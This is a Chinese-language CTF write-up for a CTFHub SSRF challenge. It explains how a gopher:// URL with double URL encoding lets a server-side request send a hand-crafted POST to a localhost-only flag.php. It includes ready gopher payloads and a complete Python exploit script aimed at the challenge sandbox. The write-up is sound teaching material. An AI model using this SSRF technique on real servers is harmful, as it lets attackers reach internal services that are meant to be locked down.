一、题目信息
- 平台:CTFHub
- 分类:Skill / Web / SSRF
- 考点:SSRF(服务器端请求伪造)、Gopher 协议、双重 URL 编码、HTTP 报文构造
题目场景:存在一个 ?url= 参数,服务器会代为请求用户指定的地址。目标 flag.php 限制仅本地访问,且需要 POST 提交正确的 key。
二、SSRF 原理
2.1 什么是 SSRF?
SSRF(Server-Side Request Forgery,服务器端请求伪造)是指攻击者通过服务端应用,向服务端所在网络或本地发起请求的攻击方式。
在本题中,?url= 参数就是 SSRF 的注入点。服务器接收到用户传入的 URL 后,使用自身的 HTTP Client(如 PHP 的 file_get_contents() 或 curl)去请求该地址,并将结果返回给用户。
2.2 为什么能访问 127.0.0.1?
访问控制通常发生在多个层级:
| 层级 | 控制方式 | 本题情况 |
|---|---|---|
| 网络层 (L3) | iptables / 防火墙 | 未限制回环接口 |
| 传输层 (L4) | TCP 监听绑定 | Apache 绑定 0.0.0.0:80,本地可连 |
| 应用层 (L7) | PHP 代码逻辑 | flag.php 仅检查 $_SERVER['REMOTE_ADDR'] === '127.0.0.1' |
当服务端代码发起请求时,它的身份是服务器进程,出站连接的源地址是 127.0.0.1,因此满足 flag.php 的本地访问控制策略。
核心逻辑:你并没有绕过防火墙,你只是借用了服务器自己的受信任身份。
三、Gopher 协议的特殊性
3.1 HTTP Scheme 的问题
如果直接传:
1?url=http://127.0.0.1/flag.php
服务端 HTTP Client 的行为由 URI Scheme http:// 决定:
- 解析 host、port、path
- 建立 TCP 连接到
127.0.0.1:80 - 自动构造 HTTP GET 请求报文发送
- 返回响应
你无法控制第 3 步生成的报文,它永远是一个格式固定的 GET 请求。
3.2 Gopher Scheme 的差异
RFC 4266 定义了 Gopher URI Scheme。在 curl 的实现中,Gopher 协议的处理逻辑是:
- 连接到
<host>:<port> - 将
<selector>(即gopher-type后的所有内容)直接写入 TCP socket - 读取返回的数据直到连接关闭
没有 HTTP 报文构造,没有 method/path/header 解析,只有原始 TCP 写操作。
这就是为什么 gopher://127.0.0.1:80/_POST ... 能把 _ 后面的字符串原封不动地作为 TCP payload 发送出去。对目标 Apache 而言,它收到的就是一个普通的 HTTP 请求流。
四、HTTP 作为文本协议的兼容性
HTTP/1.1 是基于 TCP 的文本协议。Apache 从 socket 读取数据的逻辑大致是:
1read_line() // 读取请求行: POST /flag.php HTTP/1.1
2read_line() // 读取 Header: Host: 127.0.0.1:80
3...
4read_line() // 空行 \r\n,表示 Header 结束
5read_body(content_length) // 读取指定字节的 body
TCP 是字节流协议,没有消息边界。Apache 依靠 CRLF (\r\n) 作为行分隔符,依靠 空行后的 Content-Length 确定 body 边界。
Gopher Client 发送的 TCP payload 如果恰好符合 HTTP ABNF 语法,Apache 就会将其当作合法的 HTTP 请求处理。这是协议层面的兼容性。
五、双重 URL 编码的本质
这是最容易被混淆的部分。需要区分 两次 URL 解析发生的时机和语义。
5.1 第一层编码:保证 Gopher Selector 的合法性
Gopher URI 的整体需要符合 RFC 3986 的 URI 语法。URI 中不允许出现裸空格、CRLF 等字符。
因此,原始 HTTP 报文作为 Gopher selector 的一部分,必须进行 percent-encoding:
1原始: POST /flag.php HTTP/1.1\r\nHost: ...
2编码后: POST%20/flag.php%20HTTP/1.1%0D%0AHost:%20...
这确保生成的字符串是一个合法的 URI,可以被 HTTP Client(curl)正确解析。
5.2 第二层编码:HTTP Query Parameter 的传输要求
整个 Gopher URI 被嵌入到外层 HTTP 请求的 Query String 中:
1GET /?url=<gopher-uri> HTTP/1.1
根据 RFC 3986,Query 部分的字符集同样受限。更重要的是,Web 服务器(Nginx/OpenResty)和应用服务器(PHP)在接收请求时会执行 一次标准的 URI decoding。如果 Gopher URI 中的 %20 未经编码就直接出现在 Query String 里,它会被服务器解码成空格,导致 url 参数的值被破坏。
因此需要对 Gopher URI 整体再次进行 percent-encoding:
| 字符 | 第一层(Gopher selector) | 第二层(Query param) |
|---|---|---|
| 空格 | %20 | %2520 |
\r | %0D | %250D |
\n | %0A | %250A |
: | %3A | %253A |
5.3 解码时序
1浏览器/你发送
2 ↓
3Nginx/OpenResty 接收,URI decode 一次
4 → %2520 变成 %20
5 ↓
6PHP $_GET['url'] 获取到值
7 → 字符串内容: gopher://127.0.0.1:80/_POST%20/flag.php...
8 ↓
9PHP file_get_contents() / curl 解析 URL
10 → 识别为 gopher scheme
11 → 对 selector 部分再次 decode
12 → %20 变成空格,%0D%0A 变成 CRLF
13 ↓
14建立 TCP 连接,发送原始 HTTP 报文
两次编码对应两次独立的 URI 解析上下文,不是"为了绕过 WAF",而是协议嵌套的数据完整性要求。
六、攻击流程
6.1 第一步:获取 key
先用 Gopher 发送 GET 请求访问 flag.php,查看返回内容:
1gopher://127.0.0.1:80/_GET%20/flag.php%20HTTP/1.1%0D%0AHost:%20127.0.0.1:80%0D%0A%0D%0A
双重编码后作为 ?url= 参数提交。返回的 HTML 中包含注释泄露的 key:
1<!-- Debug: key=8c521ddf9c2daff0ad4b4f790e66f239-->
6.2 第二步:构造 POST 请求
原始 HTTP 报文:
1POST /flag.php HTTP/1.1
2Host: 127.0.0.1:80
3Content-Type: application/x-www-form-urlencoded
4Content-Length: 36
5
6key=8c521ddf9c2daff0ad4b4f790e66f239
注意:
- 每行结尾必须是
\r\n - 空行后才是 body
Content-Length必须严格等于 body 字节数(|key=...|= 36 bytes)
6.3 第三步:双重编码生成最终 URL
1import urllib.parse
2
3http_request = (
4 "POST /flag.php HTTP/1.1\r\n"
5 "Host: 127.0.0.1:80\r\n"
6 "Content-Type: application/x-www-form-urlencoded\r\n"
7 "Content-Length: 36\r\n"
8 "\r\n"
9 "key=8c521ddf9c2daff0ad4b4f790e66f239\r\n"
10)
11
12# 第一层编码
13gopher = "gopher://127.0.0.1:80/_" + urllib.parse.quote(http_request)
14
15# 第二层编码
16final_url = (
17 "http://challenge-8375416bad4beb9c.sandbox.ctfhub.com:10800/?url="
18 + urllib.parse.quote(gopher, safe="")
19)
20
21print(final_url)
七、利用脚本
完整的自动化脚本:
1#!/usr/bin/env python3
2import urllib.parse
3import urllib.request
4
5
6def build_url(key: str) -> str:
7 body = f"key={key}"
8 http = (
9 f"POST /flag.php HTTP/1.1\r\n"
10 f"Host: 127.0.0.1:80\r\n"
11 f"Content-Type: application/x-www-form-urlencoded\r\n"
12 f"Content-Length: {len(body)}\r\n"
13 f"\r\n"
14 f"{body}\r\n"
15 )
16 gopher = "gopher://127.0.0.1:80/_" + urllib.parse.quote(http)
17 return (
18 "http://challenge-8375416bad4beb9c.sandbox.ctfhub.com:10800/?url="
19 + urllib.parse.quote(gopher, safe="")
20 )
21
22
23if __name__ == "__main__":
24 url = build_url("8c521ddf9c2daff0ad4b4f790e66f239")
25 print(f"[+] URL: {url}\n")
26
27 req = urllib.request.Request(
28 url,
29 headers={"User-Agent": "Mozilla/5.0"},
30 )
31 with urllib.request.urlopen(req, timeout=15) as resp:
32 print(resp.read().decode("utf-8", errors="ignore"))
八、总结
| 概念 | 本题中的体现 |
|---|---|
| SSRF | 借用服务端 HTTP Client 的身份访问本地受限资源 |
| Gopher Scheme | 利用 curl/PHP 对 gopher:// 的实现特性,获得原始 TCP 写能力 |
| 协议兼容性 | HTTP 作为文本协议,可被任意 TCP payload 驱动,只要格式合法 |
| Percent-encoding 嵌套 | 两层 URI 解析上下文要求两次编码,保证数据完整性 |
| HTTP 报文构造 | 手动计算 Content-Length,使用 CRLF,符合 RFC 7230 |
这道题的核心在于理解:URI Scheme 决定了 HTTP Client 的行为模式,而 Gopher 的"透传"特性让我们能够完全控制应用层报文,从而绕过 GET 方法的限制,向内网服务发送任意构造的 POST 请求。